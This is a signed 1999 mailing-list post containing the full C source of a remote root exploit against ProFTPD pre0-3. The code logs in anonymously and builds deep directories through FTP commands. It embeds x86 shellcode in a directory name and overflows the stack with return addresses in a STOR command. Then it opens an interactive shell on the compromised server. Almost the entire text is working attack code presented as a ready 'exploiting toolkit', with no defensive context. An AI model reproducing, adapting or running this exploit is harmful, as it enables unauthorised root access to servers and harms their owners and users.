proftpd_exploiting_toolkit.txt

`Subject: proftpd  
To: [email protected]   
  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
  
/*  
* babcia padlina ltd. (poland, 17/08/99)  
*  
* your ultimate proftpd pre0-3 exploiting toolkit  
*  
* based on:  
* - adm-wuftpd by duke  
* - kombajn do czere¶ni by Lam3rZ (thx for shellcode!)  
*  
* thx and greetz.  
*/  
  
  
#include <stdio.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <netdb.h>  
#include <unistd.h>  
#include <string.h>  
#include <stdlib.h>  
  
  
#define MAXARGLEN 64  
#define MAXLINE 1024  
#define ANONL "ftp"  
#define ANONP "mozilla@"  
#define INCOM "/incoming/"  
#define FTPPORT 21  
#define RET 0xbffff550  
#define NOP 0x90  
#define ALIGN 0  
#define CONTENT "y0u ar3 n0w 0wn3d!"  
#define GREEN "\033[1;32m"  
#define RED "\033[1;31m"  
#define NORM "\033[1;39m"  
#define BOLD "\E[1m"  
#define UNBOLD "\E[m"  
  
  
char *av0;  
struct sockaddr_in cli;  
char sendbuf[MAXLINE];  
  
  
#ifdef DEBUG  
FILE *phile;  
#endif  
  
  
long getip(name)  
char *name;  
{  
struct hostent *hp;  
long ip;  
extern int h_errno;  
  
  
if ((ip=inet_addr(name))==-1)  
{  
if ((hp=gethostbyname(name))==NULL)  
{  
fprintf(stderr, "gethostbyname(): %s\n",  
strerror(h_errno));  
exit(1);  
}  
memcpy(&ip, (hp->h_addr), 4);  
}  
return ip;  
}  
  
  
int readline(sockfd, buf)  
int sockfd;  
char *buf;  
{  
int done = 0;  
char *n = NULL, *p = NULL, localbuff[MAXLINE];  
  
  
while (!done)  
{  
if (!p)  
{  
  
  
int count;  
  
  
bzero(localbuff, MAXLINE);  
  
  
if ((count = read(sockfd, localbuff, MAXLINE)) < 0)  
{  
(void)fprintf(stderr, "IO error.\n");  
return -1;  
}  
//  
#ifdef DEBUG  
fprintf(phile, "Received: %s", localbuff);  
#endif  
//  
  
  
localbuff[count] = 0;  
p = localbuff;  
}  
  
  
n=(char *)strchr(p, '\r');  
  
  
if (n)  
{  
*n = 0;  
n += 2;  
done = 1;  
}  
  
  
bzero(buf, MAXLINE);  
  
  
strncat(buf, p, MAXLINE);  
p = n;  
}  
return 0;  
}  
  
  
int eatthis(sockfd, line)  
int sockfd;  
char *line;  
{  
do  
{  
bzero(line, MAXLINE);  
if (readline(sockfd, line) < 0) return -1;  
} while (line[3] != ' ');  
  
  
return (int)(line[0] - '0');  
}  
  
  
int connecttoftp(host)  
char *host;  
{  
int sockfd;  
  
  
bzero(&cli, sizeof(cli));  
cli.sin_family = AF_INET;  
cli.sin_addr.s_addr=getip(host);  
cli.sin_port = htons(FTPPORT);  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Connecting to %s.\n", host);  
#endif  
//  
  
  
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)  
{  
perror("socket");  
return -1;  
}  
  
  
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)  
{  
perror("connect");  
return -1;  
}  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Connected to %s.\n", host);  
#endif  
//  
  
  
return sockfd;  
}  
  
  
int logintoftp(sockfd, login, passwd)  
int sockfd;  
char *login, *passwd;  
{  
int result;  
char errbuf[MAXLINE];  
  
  
result = eatthis(sockfd, errbuf);  
  
  
if (result < 0) return -1;  
if (result > 2)  
{  
fprintf(stderr, "%s\n", errbuf);  
return -1;  
}  
  
  
bzero(sendbuf, MAXLINE);  
sprintf(sendbuf, "USER %s\r\n", login);  
write(sockfd, sendbuf, strlen(sendbuf));  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Sending: %s", sendbuf);  
#endif  
//  
  
  
result = eatthis(sockfd, errbuf);  
  
  
if (result < 0) return -1;  
if (result > 3)  
{  
fprintf(stderr, "%s\n", errbuf);  
return -1;  
}  
  
  
bzero(sendbuf, MAXLINE);  
sprintf(sendbuf, "PASS %s\r\n", passwd);  
write(sockfd, sendbuf, strlen(sendbuf));  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Sending: %s", sendbuf);  
#endif  
//  
  
  
result = eatthis(sockfd, errbuf);  
  
  
if (result < 0) return -1;  
if (result > 2)  
{  
fprintf(stderr, "%s\n", errbuf);  
return -1;  
}  
  
  
return 0;  
}  
  
  
int makedir(dir, sockfd)  
char *dir;  
int sockfd;  
{  
char buf[MAXLINE], errbuf[MAXLINE], *p;  
int n, result;  
  
  
bzero(buf, MAXLINE);  
p = buf;  
for(n=0;n < strlen(dir);n++)  
{  
  
  
if(dir[n]=='\xff')  
{  
*p='\xff';  
p++;  
}  
*p=dir[n];  
p++;  
}  
  
  
bzero(sendbuf, MAXLINE);  
sprintf(sendbuf, "MKD %s\r\n", buf);  
write(sockfd, sendbuf, strlen(sendbuf));  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Sending: %s", sendbuf);  
#endif  
//  
  
  
result = eatthis(sockfd, errbuf);  
  
  
if (result < 0) return -1;  
if (result > 2)  
{  
fprintf(stderr, "%s\n", errbuf);  
return -1;  
}  
  
  
bzero(sendbuf, MAXLINE);  
sprintf(sendbuf, "CWD %s\r\n", buf);  
write(sockfd, sendbuf, strlen(sendbuf));  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Sending: %s", sendbuf);  
#endif  
//  
  
  
result = eatthis(sockfd, errbuf);  
  
  
if (result < 0) return -1;  
if (result > 2)  
{  
fprintf(stderr, "%s\n", errbuf);  
return -1;  
}  
  
  
return 0;  
}  
  
  
int mkd(sockfd, cwd)  
int sockfd;  
char *cwd;  
{  
  
  
char shellcode[]=  
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"  
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"  
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"  
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"  
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"  
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"  
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"  
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"  
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"  
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"  
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";  
  
  
char buf1[MAXLINE], tmp[MAXLINE], *p, *q;  
  
  
if (makedir(cwd, sockfd) < 0) return -1;  
  
  
bzero(buf1, MAXLINE);  
  
  
memset(buf1, 0x90, 756);  
memcpy(buf1, cwd, strlen(cwd));  
  
  
p = &buf1[strlen(cwd)];  
q = &buf1[755];  
  
  
bzero(tmp, MAXLINE);  
  
  
while(p <= q)  
{  
strncpy(tmp, p, 100);  
if (makedir(tmp, sockfd) < 0) return -1;  
p+=100;  
}  
  
  
  
if (makedir(shellcode, sockfd) < 0) return -1;  
return 0;  
}  
  
  
int put(sockfd, offset, align)  
int sockfd, offset, align;  
{  
char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE],  
hostname[MAXLINE], errbuf[MAXLINE], *p, *q;  
int n, sock, nsock, port, i;  
struct in_addr in;  
int octet_in[4], result;  
char *oct;  
struct sockaddr_in yo;  
  
  
bzero(buf2, MAXLINE);  
memset(buf2, NOP, 100);  
  
  
for(i=4-ALIGN-align; i<96; i+=4)  
*(long *)&buf2[i] = RET + offset;  
  
  
p = &buf2[0];  
q = &buf2[99];  
  
  
bzero(tmp, MAXLINE);  
strncpy(tmp, p, strlen(buf2));  
  
  
port=getpid()+1024;  
  
  
bzero(&yo, sizeof(yo));  
yo.sin_family = AF_INET;  
yo.sin_port=htons(port);  
  
  
bzero(buf, MAXLINE);  
p=buf;  
for(n=0;n<strlen(tmp);n++)  
{  
if(tmp[n]=='\xff')  
{  
*p='\xff';  
p++;  
}  
*p=tmp[n];  
p++;  
}  
  
  
gethostname(hostname, MAXLINE);  
in.s_addr = getip(hostname);  
  
  
oct=(char *)strtok(inet_ntoa(in),".");  
octet_in[0]=atoi(oct);  
oct=(char *)strtok(NULL,".");  
octet_in[1]=atoi(oct);  
oct=(char *)strtok(NULL,".");  
octet_in[2]=atoi(oct);  
oct=(char *)strtok(NULL,".");  
octet_in[3]=atoi(oct);  
  
  
bzero(sendbuf, MAXLINE);  
sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0],  
octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);  
write(sockfd, sendbuf, strlen(sendbuf));  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Sending: %s", sendbuf);  
#endif  
//  
  
  
result = eatthis(sockfd, errbuf);  
  
  
if (result < 0) return -1;  
if (result > 2)  
{  
fprintf(stderr, "%s\n", errbuf);  
return -1;  
}  
  
  
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {  
perror("socket()");  
return -1;  
}  
  
  
if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)  
{  
perror("bind()");  
close(sock);  
return -1;  
}  
  
  
if (listen (sock,10) < 0)  
{  
perror("listen()");  
close(sock);  
return -1;  
}  
  
  
bzero(sendbuf, MAXLINE);  
sprintf(sendbuf, "STOR %s\r\n", buf);  
write(sockfd, sendbuf, strlen(sendbuf));  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Sending: %s", sendbuf);  
#endif  
//  
  
  
result = eatthis(sockfd, errbuf);  
  
  
if (result < 0) return -1;  
if (result > 2)  
{  
fprintf(stderr, "%s\n", errbuf);  
return -1;  
}  
  
  
if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct  
sockaddr))) < 0)  
{  
perror("accept()");  
close(sock);  
return -1;  
}  
  
  
write(nsock, CONTENT, sizeof(CONTENT));  
  
  
//  
#ifdef DEBUG  
fprintf(phile, "Sending: %s", CONTENT);  
#endif  
//  
  
  
close(sock);  
close(nsock);  
  
  
return 0;  
}  
  
  
int sh(sockfd)  
int sockfd;  
{  
char buf[MAXLINE];  
int c;  
fd_set rf, drugi;  
  
  
FD_ZERO(&rf);  
FD_SET(0, &rf);  
FD_SET(sockfd, &rf);  
  
  
while (1)  
{  
bzero(buf, MAXLINE);  
memcpy (&drugi, &rf, sizeof(rf));  
select(sockfd+1, &drugi, NULL, NULL, NULL);  
if (FD_ISSET(0, &drugi))  
{  
c = read(0, buf, MAXLINE);  
send(sockfd, buf, c, 0x4);  
}  
  
  
if (FD_ISSET(sockfd, &drugi))  
{  
c = read(sockfd, buf, MAXLINE);  
if (c<0) return 0;  
write(1,buf,c);  
}  
}  
}  
  
  
void usage(void)  
{  
(void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o  
offset] [-a align] host\n", av0);  
exit(1);  
}  
  
  
int main(argc, argv)  
int argc;  
char **argv;  
{  
extern int optind, opterr;  
extern char *optarg;  
int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;  
char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];  
  
  
(void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour  
ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GR  
EEN, NORM, UNBOLD);  
  
  
if (strchr(argv[0], '/'))  
av0 = strrchr(argv[0], '/') + 1;  
else  
av0 = argv[0];  
  
  
opterr = aflag = oflag = lflag = pflag = dflag = 0;  
  
  
while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)  
switch((char)ch)  
{  
case 'l':  
lflag = 1;  
strncpy(login, optarg, MAXARGLEN);  
break;  
  
  
case 'p':  
pflag = 1;  
strncpy(passwd, optarg, MAXARGLEN);  
break;  
  
  
case 'd':  
dflag = 1;  
strncpy(cwd, optarg, MAXARGLEN);  
break;  
  
  
case 'o':  
oflag = 1;  
offset = atoi(optarg);  
break;  
  
  
case 'a':  
aflag = 1;  
align = atoi(optarg);  
break;  
  
  
case '?':  
default:  
usage();  
}  
  
  
argc -= optind;  
argv += optind;  
  
  
if (argc != 1) usage();  
if (!lflag) strncpy(login, ANONL, MAXARGLEN);  
if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);  
if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());  
if (!oflag) offset = 0;  
if (!aflag) align = 0;  
  
  
//  
#ifdef DEBUG  
phile = fopen("debug", "w");  
#endif  
//  
  
  
if ((sockfd = connecttoftp(*argv)) < 0)  
{  
(void)fprintf(stderr, "Connection to %s failed.\n", *argv);  
//  
#ifdef DEBUG  
fclose(phile);  
#endif  
//  
exit(1);  
}  
  
  
(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);  
  
  
if (logintoftp(sockfd, login, passwd) < 0)  
{  
(void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n",  
*argv, login, passwd);  
//  
#ifdef DEBUG  
fclose(phile);  
#endif  
//  
exit(1);  
}  
  
  
(void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in  
%s\n", login, passwd, cwd);  
  
  
if (mkd(sockfd, cwd) < 0)  
{  
(void)fprintf(stderr, "Unknown error while making  
directories.\n");  
//  
#ifdef DEBUG  
fclose(phile);  
#endif  
//  
exit(1);  
}  
  
  
(void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET +  
offset, align);  
  
  
if (put(sockfd, offset, align) < 0)  
{  
(void)fprintf(stderr, "Unknown error while sending RETs.\n");  
//  
#ifdef DEBUG  
fclose(phile);  
#endif  
//  
exit(1);  
}  
  
  
(void)fprintf(stderr, "Y0u are n0w r00t.\n");  
  
  
if (sh(sockfd) < 0)  
{  
(void)fprintf(stderr, "Connection unexpectly terminated.\n");  
//  
#ifdef DEBUG  
fclose(phile);  
#endif  
//  
close(sockfd);  
exit(1);  
}  
//  
#ifdef DEBUG  
fclose(phile);  
#endif  
//  
exit(0);  
}  
  
  
- ---  
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *  
* Inet: [email protected] ** PGP: D48684904685DF43 EA93AFA13BE170BF *  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: PGPfreeware 5.0i for non-commercial use  
Charset: noconv  
  
  
iQA/AwUBN8mqf/6SPyHAYTvjEQI85gCffFUMMJFyH3kmf1EEnDgHdWko+nQAoJec  
7gEoItMsAQknklvV0Ncp6XT5  
=NgBX  
-----END PGP SIGNATURE-----  
`